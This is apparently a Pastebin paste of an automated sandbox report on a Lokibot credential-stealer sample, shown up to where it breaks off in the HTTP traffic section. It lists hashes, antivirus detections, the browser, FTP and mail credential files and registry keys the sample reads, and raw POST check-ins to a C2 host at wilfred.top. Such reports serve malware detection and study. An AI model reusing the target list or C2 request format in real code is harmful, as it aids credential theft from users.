API tools faq
paste
paladin316

Exes_17060ebebeb80cd390284ad2489eb08f_exe.json

paladin316
Jun 19th, 2019
2,262
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 93.78 KB | None | 0 0
raw download clone embed print report
  1.  
  2. [*] MalFamily: "Lokibot"
  3.  
  4. [*] MalScore: 10.0
  5.  
  6. [*] File Name: "Exes_17060ebebeb80cd390284ad2489eb08f.exe"
  7. [*] File Size: 634880
  8. [*] File Type: "PE32 executable (GUI) Intel 80386, for MS Windows"
  9. [*] SHA256: "8932be19c2dd4d31da86eb86e5ec0232e7656003d007ce0a155eb27679401ae6"
  10. [*] MD5: "17060ebebeb80cd390284ad2489eb08f"
  11. [*] SHA1: "39e8be4cc141f7edf62bb6db21bcef3ef610e489"
  12. [*] SHA512: "b6d99e7c39cc928b4234a90b4b568991f0568694372d3bbe35ed37a24eaf33b1edcb7a011121c436ce67f02645f1b2913460ac81be220a916d1b95abca46401d"
  13. [*] CRC32: "2D8D526B"
  14. [*] SSDEEP: "12288:qFlAe6ZYXbCx/jB1kvZ1IWP7155zfavlnIimWsce:qFljUiu9uv7DJ7l"
  15.  
  16. [*] Process Execution: [
  17. "Exes_17060ebebeb80cd390284ad2489eb08f.exe",
  18. "services.exe",
  19. "sc.exe",
  20. "svchost.exe",
  21. "GoogleUpdate.exe"
  22. ]
  23.  
  24. [*] Signatures Detected: [
  25. {
  26. "Description": "Attempts to connect to a dead IP:Port (1 unique times)",
  27. "Details": [
  28. {
  29. "IP": "172.217.0.227:443"
  30. }
  31. ]
  32. },
  33. {
  34. "Description": "Creates RWX memory",
  35. "Details": []
  36. },
  37. {
  38. "Description": "At least one IP Address, Domain, or File Name was found in a crypto call",
  39. "Details": [
  40. {
  41. "ioc": "http://crl.globalsign.net/root-r2.crl0"
  42. }
  43. ]
  44. },
  45. {
  46. "Description": "HTTP traffic contains suspicious features which may be indicative of malware related traffic",
  47. "Details": [
  48. {
  49. "post_no_referer": "HTTP traffic contains a POST request with no referer header"
  50. },
  51. {
  52. "http_version_old": "HTTP traffic uses version 1.0"
  53. },
  54. {
  55. "suspicious_request": "http://www.wilfred.top/job/fre.php"
  56. },
  57. {
  58. "suspicious_request": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEAPxtOFfOoLxFJZ4s9fYR1w%3D"
  59. },
  60. {
  61. "suspicious_request": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSPwl%2BrBFlJbvzLXU1bGW08VysJ2wQUj%2Bh%2B8G0yagAFI8dwl2o6kP9r6tQCEA%2BdzSc7B3UzA8k03selSwo%3D"
  62. },
  63. {
  64. "suspicious_request": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSPwl%2BrBFlJbvzLXU1bGW08VysJ2wQUj%2Bh%2B8G0yagAFI8dwl2o6kP9r6tQCEAaJg2QslT5G973OQUPxM8E%3D"
  65. }
  66. ]
  67. },
  68. {
  69. "Description": "Performs some HTTP requests",
  70. "Details": [
  71. {
  72. "url": "http://www.wilfred.top/job/fre.php"
  73. },
  74. {
  75. "url": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEAPxtOFfOoLxFJZ4s9fYR1w%3D"
  76. },
  77. {
  78. "url": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSPwl%2BrBFlJbvzLXU1bGW08VysJ2wQUj%2Bh%2B8G0yagAFI8dwl2o6kP9r6tQCEA%2BdzSc7B3UzA8k03selSwo%3D"
  79. },
  80. {
  81. "url": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSPwl%2BrBFlJbvzLXU1bGW08VysJ2wQUj%2Bh%2B8G0yagAFI8dwl2o6kP9r6tQCEAaJg2QslT5G973OQUPxM8E%3D"
  82. }
  83. ]
  84. },
  85. {
  86. "Description": "The binary likely contains encrypted or compressed data.",
  87. "Details": [
  88. {
  89. "section": "name: .rsrc, entropy: 7.68, characteristics: IMAGE_SCN_CNT_INITIALIZED_DATA|IMAGE_SCN_MEM_READ, raw_size: 0x0004b600, virtual_size: 0x0004b4d0"
  90. }
  91. ]
  92. },
  93. {
  94. "Description": "Deletes its original binary from disk",
  95. "Details": []
  96. },
  97. {
  98. "Description": "Attempts to repeatedly call a single API many times in order to delay analysis time",
  99. "Details": [
  100. {
  101. "Spam": "services.exe (500) called API GetSystemTimeAsFileTime 16852777 times"
  102. }
  103. ]
  104. },
  105. {
  106. "Description": "Steals private information from local Internet browsers",
  107. "Details": [
  108. {
  109. "file": "C:\\Users\\user\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data"
  110. }
  111. ]
  112. },
  113. {
  114. "Description": "Spoofs its process name and/or associated pathname to appear as a legitimate process",
  115. "Details": [
  116. {
  117. "modified_name": "exes_17060ebebeb80cd390284ad2489eb08f.exe",
  118. "modified_path": "C:\\Users\\user\\AppData\\Local\\Temp\\exes_17060ebebeb80cd390284ad2489eb08f.exe",
  119. "original_name": "Exes_17060ebebeb80cd390284ad2489eb08f.exe",
  120. "original_path": "C:\\Users\\user\\AppData\\Local\\Temp\\Exes_17060ebebeb80cd390284ad2489eb08f.exe"
  121. }
  122. ]
  123. },
  124. {
  125. "Description": "Creates a hidden or system file",
  126. "Details": [
  127. {
  128. "file": "C:\\Users\\user\\AppData\\Roaming\\474604\\45B65D.exe"
  129. },
  130. {
  131. "file": "C:\\Users\\user\\AppData\\Roaming\\474604"
  132. }
  133. ]
  134. },
  135. {
  136. "Description": "File has been identified by 18 Antiviruses on VirusTotal as malicious",
  137. "Details": [
  138. {
  139. "McAfee": "Artemis!17060EBEBEB8"
  140. },
  141. {
  142. "Cylance": "Unsafe"
  143. },
  144. {
  145. "Symantec": "ML.Attribute.HighConfidence"
  146. },
  147. {
  148. "APEX": "Malicious"
  149. },
  150. {
  151. "Paloalto": "generic.ml"
  152. },
  153. {
  154. "Invincea": "heuristic"
  155. },
  156. {
  157. "McAfee-GW-Edition": "BehavesLike.Win32.BadFile.jc"
  158. },
  159. {
  160. "Trapmine": "malicious.moderate.ml.score"
  161. },
  162. {
  163. "FireEye": "Generic.mg.17060ebebeb80cd3"
  164. },
  165. {
  166. "SentinelOne": "DFI - Malicious PE"
  167. },
  168. {
  169. "Microsoft": "Trojan:Win32/Wacatac.B!ml"
  170. },
  171. {
  172. "Endgame": "malicious (high confidence)"
  173. },
  174. {
  175. "Acronis": "suspicious"
  176. },
  177. {
  178. "VBA32": "BScope.Trojan.Yakes"
  179. },
  180. {
  181. "Rising": "Backdoor.Konus!8.AC8/N3#91% (RDM+:cmRtazpm1sL0z2CWNe3DNRkTwB06)"
  182. },
  183. {
  184. "Cybereason": "malicious.cc141f"
  185. },
  186. {
  187. "CrowdStrike": "win/malicious_confidence_80% (D)"
  188. },
  189. {
  190. "Qihoo-360": "HEUR/QVM10.1.FAF9.Malware.Gen"
  191. }
  192. ]
  193. },
  194. {
  195. "Description": "Harvests credentials from local FTP client softwares",
  196. "Details": [
  197. {
  198. "file": "C:\\Users\\user\\AppData\\Roaming\\FileZilla\\sitemanager.xml"
  199. },
  200. {
  201. "file": "C:\\Users\\user\\AppData\\Roaming\\FileZilla\\recentservers.xml"
  202. },
  203. {
  204. "file": "C:\\Users\\user\\AppData\\Roaming\\Far Manager\\Profile\\PluginsData\\42E4AEB1-A230-44F4-B33C-F195BB654931.db"
  205. },
  206. {
  207. "file": "C:\\Program Files (x86)\\FTPGetter\\Profile\\servers.xml"
  208. },
  209. {
  210. "file": "C:\\Users\\user\\AppData\\Roaming\\FTPGetter\\servers.xml"
  211. },
  212. {
  213. "file": "C:\\Users\\user\\AppData\\Roaming\\Estsoft\\ALFTP\\ESTdb2.dat"
  214. },
  215. {
  216. "key": "HKEY_CURRENT_USER\\Software\\Far\\Plugins\\FTP\\Hosts"
  217. },
  218. {
  219. "key": "HKEY_CURRENT_USER\\Software\\Far2\\Plugins\\FTP\\Hosts"
  220. },
  221. {
  222. "key": "HKEY_CURRENT_USER\\Software\\Ghisler\\Total Commander"
  223. },
  224. {
  225. "key": "HKEY_CURRENT_USER\\Software\\LinasFTP\\Site Manager"
  226. }
  227. ]
  228. },
  229. {
  230. "Description": "Harvests information related to installed instant messenger clients",
  231. "Details": [
  232. {
  233. "file": "C:\\Users\\user\\AppData\\Roaming\\.purple\\accounts.xml"
  234. }
  235. ]
  236. },
  237. {
  238. "Description": "Harvests information related to installed mail clients",
  239. "Details": [
  240. {
  241. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook"
  242. },
  243. {
  244. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\0a0d020000000000c000000000000046\\Email"
  245. },
  246. {
  247. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\0a0d020000000000c000000000000046"
  248. },
  249. {
  250. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9234ed9445f8fa418a542f350f18f326"
  251. },
  252. {
  253. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\8408552e6dae7d45a0ba01520b6221ff\\Email"
  254. },
  255. {
  256. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9234ed9445f8fa418a542f350f18f326\\Email"
  257. },
  258. {
  259. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001"
  260. },
  261. {
  262. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002"
  263. },
  264. {
  265. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001\\Email"
  266. },
  267. {
  268. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\c02ebc5353d9cd11975200aa004ae40e\\Email"
  269. },
  270. {
  271. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\8f92b60606058348930a96946cf329e1\\Email"
  272. },
  273. {
  274. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\8408552e6dae7d45a0ba01520b6221ff"
  275. },
  276. {
  277. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9207f3e0a3b11019908b08002b2a56c2"
  278. },
  279. {
  280. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\240a97d961ed46428e29a3f1f1c23670"
  281. },
  282. {
  283. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\b22783abb139fe46b0aad551d64b60e7\\Email"
  284. },
  285. {
  286. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\c02ebc5353d9cd11975200aa004ae40e"
  287. },
  288. {
  289. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9207f3e0a3b11019908b08002b2a56c2\\Email"
  290. },
  291. {
  292. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\Email"
  293. },
  294. {
  295. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\13dbb0c8aa05101a9bb000aa002fc45a\\Email"
  296. },
  297. {
  298. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\f86ed2903a4a11cfb57e524153480001\\Email"
  299. },
  300. {
  301. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676"
  302. },
  303. {
  304. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\cb23f8734d88734ca66c47c4527fd259"
  305. },
  306. {
  307. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\f86ed2903a4a11cfb57e524153480001"
  308. },
  309. {
  310. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook"
  311. },
  312. {
  313. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\cb23f8734d88734ca66c47c4527fd259\\Email"
  314. },
  315. {
  316. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook"
  317. },
  318. {
  319. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\b22783abb139fe46b0aad551d64b60e7"
  320. },
  321. {
  322. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\240a97d961ed46428e29a3f1f1c23670\\Email"
  323. },
  324. {
  325. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\3517490d76624c419a828607e2a54604\\Email"
  326. },
  327. {
  328. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002\\Email"
  329. },
  330. {
  331. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\13dbb0c8aa05101a9bb000aa002fc45a"
  332. },
  333. {
  334. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\8503020000000000c000000000000046"
  335. },
  336. {
  337. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\3517490d76624c419a828607e2a54604"
  338. },
  339. {
  340. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\8f92b60606058348930a96946cf329e1"
  341. },
  342. {
  343. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\8503020000000000c000000000000046\\Email"
  344. }
  345. ]
  346. },
  347. {
  348. "Description": "Collects information to fingerprint the system",
  349. "Details": []
  350. },
  351. {
  352. "Description": "Created network traffic indicative of malicious activity",
  353. "Details": [
  354. {
  355. "signature": "ET TROJAN LokiBot User-Agent (Charon/Inferno)"
  356. },
  357. {
  358. "signature": "ET DNS Query to a *.top domain - Likely Hostile"
  359. },
  360. {
  361. "signature": "ET TROJAN LokiBot Checkin"
  362. },
  363. {
  364. "signature": "ET TROJAN LokiBot Request for C2 Commands Detected M2"
  365. },
  366. {
  367. "signature": "ET TROJAN LokiBot Request for C2 Commands Detected M1"
  368. },
  369. {
  370. "signature": "ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M1"
  371. },
  372. {
  373. "signature": "ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M2"
  374. }
  375. ]
  376. }
  377. ]
  378.  
  379. [*] Started Service: [
  380. "MMCSS",
  381. "VaultSvc",
  382. "W32Time"
  383. ]
  384.  
  385. [*] Executed Commands: [
  386. "C:\\Windows\\system32\\lsass.exe",
  387. "C:\\Windows\\system32\\sc.exe start w32time task_started",
  388. "C:\\Windows\\system32\\svchost.exe -k LocalService",
  389. "\"C:\\Program Files (x86)\\Google\\Update\\GoogleUpdate.exe\" /svc"
  390. ]
  391.  
  392. [*] Mutexes: [
  393. "6EFA73A4746045B65DEE781E",
  394. "Global\\G{D19BAF17-7C87-467E-8D63-6C4B1C836373}",
  395. "Global\\G{6885AE8E-C070-458d-9711-37B9BEAB65F6}",
  396. "Global\\G{66CC0160-ABB3-4066-AE47-1CA6AD5065C8}",
  397. "Global\\G{0A175FBE-AEEC-4fea-855A-2AA549A88846}"
  398. ]
  399.  
  400. [*] Modified Files: [
  401. "C:\\Users\\user\\AppData\\Roaming\\474604\\45B65D.lck",
  402. "C:\\Users\\user\\AppData\\Roaming\\474604\\45B65D.exe",
  403. "C:\\Windows\\sysnative\\LogFiles\\Scm\\7bbc503c-5977-4798-a4ae-61483a7e030d",
  404. "\\??\\PIPE\\lsarpc",
  405. "\\??\\PIPE\\wkssvc",
  406. "\\??\\pipe\\GoogleCrashServices\\S-1-5-18"
  407. ]
  408.  
  409. [*] Deleted Files: [
  410. "C:\\Users\\user\\AppData\\Roaming\\474604\\45B65D.lck",
  411. "C:\\Users\\user\\AppData\\Local\\Temp\\exes_17060ebebeb80cd390284ad2489eb08f.exe",
  412. "C:\\Program Files (x86)\\Google\\Update\\Install\\{A01675F1-1F84-4945-B8A9-4E1FDEB013B2}\\74.0.3729.169_73.0.3683.86_chrome_updater.exe",
  413. "C:\\Program Files (x86)\\Google\\Update\\Install\\{A01675F1-1F84-4945-B8A9-4E1FDEB013B2}"
  414. ]
  415.  
  416. [*] Modified Registry Keys: [
  417. "HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\services\\VaultSvc\\Type",
  418. "HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\services\\W32Time\\Type",
  419. "HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\services\\BITS\\Start",
  420. "HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\services\\W32Time\\TimeProviders\\NtpClient\\SpecialPollTimeRemaining",
  421. "HKEY_LOCAL_MACHINE\\Software\\Google\\Update\\ClientState\\{430FD4D0-B729-4F61-AA34-91526481799D}\\CurrentState",
  422. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Google\\Update\\ClientState\\{430FD4D0-B729-4F61-AA34-91526481799D}\\CurrentState\\StateValue",
  423. "HKEY_LOCAL_MACHINE\\Software\\Google\\Update\\PersistedPings\\{74C91E51-4895-4FE5-B202-CBD52132EBA9}",
  424. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Google\\Update\\PersistedPings\\{74C91E51-4895-4FE5-B202-CBD52132EBA9}\\PersistedPingString",
  425. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Google\\Update\\PersistedPings\\{74C91E51-4895-4FE5-B202-CBD52132EBA9}\\PersistedPingTime",
  426. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Google\\Update\\ClientState\\{430FD4D0-B729-4F61-AA34-91526481799D}\\pv",
  427. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Google\\Update\\ClientState\\{8A69D345-D564-463C-AFF1-A69D9E530F96}\\pv",
  428. "HKEY_USERS\\S-1-5-21-0000000000-0000000000-0000000000-1000_CLASSES\\Local Settings\\MuiCache\\2F\\52C64B7E\\LanguageList",
  429. "HKEY_USERS\\S-1-5-21-0000000000-0000000000-0000000000-1000\\Software\\Google\\Update\\proxy\\source",
  430. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Google\\Update\\ClientState\\{430FD4D0-B729-4F61-AA34-91526481799D}\\RollCallDayStartSec",
  431. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Google\\Update\\ClientState\\{430FD4D0-B729-4F61-AA34-91526481799D}\\DayOfLastRollCall",
  432. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Google\\Update\\ClientState\\{430FD4D0-B729-4F61-AA34-91526481799D}\\ping_freshness",
  433. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Google\\Update\\ClientState\\{430FD4D0-B729-4F61-AA34-91526481799D}\\cohort\\(Default)",
  434. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Google\\Update\\ClientState\\{430FD4D0-B729-4F61-AA34-91526481799D}\\cohort\\hint",
  435. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Google\\Update\\ClientState\\{430FD4D0-B729-4F61-AA34-91526481799D}\\cohort\\name",
  436. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Google\\Update\\ClientState\\{430FD4D0-B729-4F61-AA34-91526481799D}\\LastCheckSuccess",
  437. "HKEY_USERS\\S-1-5-21-0000000000-0000000000-0000000000-1000\\Software\\Google\\Update\\ClientState\\{8A69D345-D564-463C-AFF1-A69D9E530F96}\\dr",
  438. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Google\\Update\\ClientState\\{8A69D345-D564-463C-AFF1-A69D9E530F96}\\ActivePingDayStartSec",
  439. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Google\\Update\\ClientState\\{8A69D345-D564-463C-AFF1-A69D9E530F96}\\RollCallDayStartSec",
  440. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Google\\Update\\ClientState\\{8A69D345-D564-463C-AFF1-A69D9E530F96}\\DayOfLastActivity",
  441. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Google\\Update\\ClientState\\{8A69D345-D564-463C-AFF1-A69D9E530F96}\\DayOfLastRollCall",
  442. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Google\\Update\\ClientState\\{8A69D345-D564-463C-AFF1-A69D9E530F96}\\ping_freshness",
  443. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Google\\Update\\ClientState\\{8A69D345-D564-463C-AFF1-A69D9E530F96}\\cohort\\(Default)",
  444. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Google\\Update\\ClientState\\{8A69D345-D564-463C-AFF1-A69D9E530F96}\\cohort\\hint",
  445. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Google\\Update\\ClientState\\{8A69D345-D564-463C-AFF1-A69D9E530F96}\\cohort\\name",
  446. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Google\\Update\\ClientState\\{8A69D345-D564-463C-AFF1-A69D9E530F96}\\LastCheckSuccess",
  447. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Google\\Update\\LastChecked",
  448. "HKEY_LOCAL_MACHINE\\Software\\Google\\Update\\ClientState\\{8A69D345-D564-463C-AFF1-A69D9E530F96}\\CurrentState",
  449. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Google\\Update\\ClientState\\{8A69D345-D564-463C-AFF1-A69D9E530F96}\\CurrentState\\StateValue"
  450. ]
  451.  
  452. [*] Deleted Registry Keys: [
  453. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Google\\Update\\uid",
  454. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Google\\Update\\old-uid",
  455. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Google\\Update\\ClientState\\{430FD4D0-B729-4F61-AA34-91526481799D}\\tttoken",
  456. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Google\\Update\\ClientState\\{430FD4D0-B729-4F61-AA34-91526481799D}\\UpdateAvailableCount",
  457. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Google\\Update\\ClientState\\{430FD4D0-B729-4F61-AA34-91526481799D}\\UpdateAvailableSince",
  458. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Google\\Update\\ClientState\\{8A69D345-D564-463C-AFF1-A69D9E530F96}\\dr",
  459. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Google\\Update\\ClientState\\{8A69D345-D564-463C-AFF1-A69D9E530F96}\\tttoken",
  460. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Google\\Update\\ClientState\\{8A69D345-D564-463C-AFF1-A69D9E530F96}\\UpdateAvailableCount",
  461. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Google\\Update\\ClientState\\{8A69D345-D564-463C-AFF1-A69D9E530F96}\\UpdateAvailableSince"
  462. ]
  463.  
  464. [*] DNS Communications: [
  465. {
  466. "type": "A",
  467. "request": "www.wilfred.top",
  468. "answers": [
  469. {
  470. "data": "wilfred.top",
  471. "type": "CNAME"
  472. },
  473. {
  474. "data": "198.23.213.114",
  475. "type": "A"
  476. }
  477. ]
  478. }
  479. ]
  480.  
  481. [*] Domains: [
  482. {
  483. "ip": "198.23.213.114",
  484. "domain": "www.wilfred.top"
  485. }
  486. ]
  487.  
  488. [*] Network Communication - ICMP: []
  489.  
  490. [*] Network Communication - HTTP: [
  491. {
  492. "count": 2,
  493. "body": "",
  494. "uri": "http://www.wilfred.top/job/fre.php",
  495. "user-agent": "Mozilla/4.08 (Charon; Inferno)",
  496. "method": "POST",
  497. "host": "www.wilfred.top",
  498. "version": "1.0",
  499. "path": "/job/fre.php",
  500. "data": "POST /job/fre.php HTTP/1.0\r\nUser-Agent: Mozilla/4.08 (Charon; Inferno)\r\nHost: www.wilfred.top\r\nAccept: */*\r\nContent-Type: application/octet-stream\r\nContent-Encoding: binary\r\nContent-Key: 3F346052\r\nContent-Length: 176\r\nConnection: close\r\n\r\n",
  501. "port": 80
  502. },
  503. {
  504. "count": 3,
  505. "body": "",
  506. "uri": "http://www.wilfred.top/job/fre.php",
  507. "user-agent": "Mozilla/4.08 (Charon; Inferno)",
  508. "method": "POST",
  509. "host": "www.wilfred.top",
  510. "version": "1.0",
  511. "path": "/job/fre.php",
  512. "data": "POST /job/fre.php HTTP/1.0\r\nUser-Agent: Mozilla/4.08 (Charon; Inferno)\r\nHost: www.wilfred.top\r\nAccept: */*\r\nContent-Type: application/octet-stream\r\nContent-Encoding: binary\r\nContent-Key: 3F346052\r\nContent-Length: 149\r\nConnection: close\r\n\r\n",
  513. "port": 80
  514. },
  515. {
  516. "count": 1,
  517. "body": "",
  518. "uri": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEAPxtOFfOoLxFJZ4s9fYR1w%3D",
  519. "user-agent": "Microsoft-CryptoAPI/6.1",
  520. "method": "GET",
  521. "host": "ocsp.digicert.com",
  522. "version": "1.1",
  523. "path": "/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEAPxtOFfOoLxFJZ4s9fYR1w%3D",
  524. "data": "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEAPxtOFfOoLxFJZ4s9fYR1w%3D HTTP/1.1\r\nCache-Control: max-age = 150849\r\nConnection: Keep-Alive\r\nAccept: */*\r\nIf-Modified-Since: Tue, 28 May 2019 10:50:30 GMT\r\nIf-None-Match: \"5ced1276-1d7\"\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: ocsp.digicert.com\r\n\r\n",
  525. "port": 80
  526. },
  527. {
  528. "count": 1,
  529. "body": "",
  530. "uri": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSPwl%2BrBFlJbvzLXU1bGW08VysJ2wQUj%2Bh%2B8G0yagAFI8dwl2o6kP9r6tQCEA%2BdzSc7B3UzA8k03selSwo%3D",
  531. "user-agent": "Microsoft-CryptoAPI/6.1",
  532. "method": "GET",
  533. "host": "ocsp.digicert.com",
  534. "version": "1.1",
  535. "path": "/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSPwl%2BrBFlJbvzLXU1bGW08VysJ2wQUj%2Bh%2B8G0yagAFI8dwl2o6kP9r6tQCEA%2BdzSc7B3UzA8k03selSwo%3D",
  536. "data": "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSPwl%2BrBFlJbvzLXU1bGW08VysJ2wQUj%2Bh%2B8G0yagAFI8dwl2o6kP9r6tQCEA%2BdzSc7B3UzA8k03selSwo%3D HTTP/1.1\r\nCache-Control: max-age = 135176\r\nConnection: Keep-Alive\r\nAccept: */*\r\nIf-Modified-Since: Tue, 28 May 2019 05:30:18 GMT\r\nIf-None-Match: \"5cecc76a-1d7\"\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: ocsp.digicert.com\r\n\r\n",
  537. "port": 80
  538. },
  539. {
  540. "count": 1,
  541. "body": "",
  542. "uri": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSPwl%2BrBFlJbvzLXU1bGW08VysJ2wQUj%2Bh%2B8G0yagAFI8dwl2o6kP9r6tQCEAaJg2QslT5G973OQUPxM8E%3D",
  543. "user-agent": "Microsoft-CryptoAPI/6.1",
  544. "method": "GET",
  545. "host": "ocsp.digicert.com",
